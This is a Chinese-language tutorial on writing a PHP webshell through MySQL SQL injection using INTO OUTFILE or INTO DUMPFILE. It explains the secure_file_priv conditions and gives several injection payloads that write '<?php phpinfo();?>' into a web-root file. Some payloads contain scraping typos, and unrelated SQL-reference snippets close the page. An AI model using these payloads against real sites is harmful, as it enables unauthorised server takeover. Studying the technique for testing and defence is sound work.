要利用sql寫shell就需要在配置中滿足以下條件:
在mysql的配置檔案my.ini
中,secure_file_priv
為空(被注釋掉或不填)或者secure_file_priv
配置是目錄位址。
未開啟全域性gpc
關於mysql的secure_file_priv屬性得多說幾句
當secure_file_priv為空時,mysql對匯入匯出檔案是沒有限制的
當secure_file_priv為目錄位址時,mysql可以在目錄位置下進行匯入匯出操作
當secure_file_priv為null時,mysql就不能進行匯入匯出操作
使用sql語句select @@secure_file_priv
即可查詢引數的內容,從而判斷該資料是否可以進行匯入匯出操作。
下面就進入正題,關於利用sql語句寫shell的方法
這個方法是非常常見的方法,在union select 後拼接into dumpfile
和into outfile
來進行寫shell
?id=1』 union select 1,2,』<?php phpinfo();?>』 into dumpfile 『c:/www/info.php』#?id=1』 union select 1,2,』<?php phpinfo();?>』 into outfile 『c:/www/info.php』#
?id=1』 into outfile 『c:/www/info.php』 lines terminated by 『<?php phpinfo();?>』#拼接sql語句後,資料庫處理的sql語句?id=1』 imit 1 into outfile 『c:/www/info.php』 lines terminated by 『<?php phpinfo();?>』#
select * from tables where id = 1' into outfile 'c:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';
注入原理
通過select語句查詢的內容寫入檔案。
lines terminated by xx
的作用是在每行終止的位置新增xx內容。
?id=1』 into outfile 『c:/www/info.php』 lines starting by 『<?php phpinfo();?>』#注入原理?id=1』 imit 1 into outfile 『c:/www/info.php』 lines starting by 『<?php phpinfo();?>』#
ines starting by xx
可以理解為 以每行開始的位置新增 xx 內容。
?id=1』 into outfile 『c:/www/info.php』 fields terminated by 『<?php phpinfo();?>』#注入原理?id=1』 imit 1 into outfile 『c:/www/info.php』 fields terminated by 『<?php phpinfo();?>』#
fields terminated by xx
可以理解為 以每個欄位的位置新增 xx 內容。
?id=1』 into outfile 『c:/www/info.php』 columns terminated by 『<?php phpinfo();?>』#注入原理?id=1』 imit 1 into outfile 『c:/www/info.php』 columns terminated by 『<?php phpinfo();?>』#
columns terminated by xx
可以理解為以每列的位置新增 xx 內容。
參考資料
sql語句整理
建立表 create table teacher id int 11 not null auto increment,teaname varchar 10 not null,varchar 10 not null,course varchar 10 not null,primary key id e...
sql語句整理
mysql 命令大全 1 修改主鍵id的遞增預設值 alter table tablename auto increment 100000 2 將表重新命名 alter table oldtablename rename to newtablename 3 為表新增新的字段 alter table ...
SQL知識整理
select top 子句用於規定要返回的記錄的數目。select top 子句對於擁有數千條記錄的大型表來說,是非常有用的。select top number percent column name s from table name like 操作符用於在 where 子句中搜尋列中的指定模式。...